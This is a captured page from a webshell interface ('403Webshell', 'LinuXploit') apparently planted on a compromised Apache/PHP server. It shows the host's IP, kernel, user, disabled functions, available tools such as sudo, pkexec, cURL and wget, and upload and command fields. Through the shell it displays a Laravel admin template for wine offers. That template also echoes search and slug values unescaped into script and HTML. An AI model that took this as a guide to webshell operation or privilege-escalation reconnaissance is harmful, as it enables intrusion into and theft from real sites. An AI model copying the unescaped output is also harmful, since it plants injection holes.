403Webshell
Server IP : 54.94.228.101  /  Your IP : 172.28.20.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/storage/framework/views/af827fd3ccdb0634db1d3c289170483d0aa05010.php
<?php
$total_diferenca = 0;
?>
<?php $__currentLoopData = $ofertas; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $oferta): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
  <?php $reserva   = !empty($oferta->reserva) ? $oferta->reserva : 0; ?>
  <?php $diferenca = $oferta->quantidade - ($oferta->qtde_vendida + $reserva + $oferta->estoque); ?>
  <?php $diferenca_reserva = $reserva - abs($oferta->quantidade - $oferta->qtde_vendida);?>
  <?php
  $total_diferenca += ($oferta->quantidade < $oferta->qtde_vendida ? $oferta->qtde_vendida - $oferta->quantidade : 0);
  ?>
<tr>
    <td width="3%" class="no-sort text-center">
       <input type="checkbox" name="item_oferta[]" value="<?php echo e($oferta->id_oferta); ?>"/>
    </td>
    <td width="10%">
      <a data-slug="<?php echo $oferta->slug; ?>" href="/admin/oferta/edit/<?php echo $oferta->slug; ?>" class="open-offer"><?php echo e($oferta->nome_oferta); ?></a>
    </td>
    <td width="10%"><?php echo e($oferta->quantidade); ?></td>
    <td width="10%"><?php echo e(number_format($oferta->qtde_vendida, 0)); ?></td>
    <td width="10%"><?php echo e($oferta->estoque); ?></td>
    <td width="10%" style="<?php echo ($diferenca < 0 && $reserva > 0 ? "font-weight: bold; color: red" : "")?>"><?php echo e($reserva); ?></td>
    <td width="10%" style="<?php echo ($diferenca < 0 ? "font-weight: bold; color: red" : "")?>"><?php echo e($diferenca); ?></td>
    <td width="10%" class="text-center">
      <?php if($diferenca < 0 && $diferenca_reserva > 0): ?>
      <button type="button" onclick="esgotarOferta(<?php echo e($oferta->id_oferta); ?>)" class="btn btn-sm btn-danger" style="margin-bottom: 5px;" title="Esgotar Oferta"><i class="fa fa-fw fa-sync"></i>&nbsp; Esgotar Oferta</button>
      <?php elseif($diferenca < 0 && $oferta->estoque > 0): ?>
      <button type="button" onclick="ajustarEstoqueOferta(<?php echo e($oferta->id_oferta); ?>)" class="btn btn-sm btn-primary" style="margin-bottom: 5px;" title="Ajustar Estoque"><i class="fa fa-fw fa-sync"></i>&nbsp; Ajustar Estoque</button>
      <?php endif; ?>
    </td>
</tr>
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>

<tr>
    <td colspan="2"><strong>Total Diferença Vendida a mais</strong></td>
    <td style="color: red; font-weight: bold;"><?php echo e($total_diferenca); ?></td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
</tr>

<script type="text/javascript">
  $(document).on('click', '.open-offer', function(e){
    e.preventDefault();
        $.ajax({
            url: '/admin/oferta/edit/'+$(this).data('slug') + '?canal_id=<?php echo $canal_id?>&pesquisa=<?php echo isset($pesquisa) ? $pesquisa : ''?>',
            type: 'GET',
            
            beforeSend:function(){
                $('.loading').fadeIn();
            },
            success:function(data){
                $('.loading').fadeOut();
                $('#conteudo-modal-evento').html(data);
                $('#modal-evento').modal('show');
            }
        });
    });
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit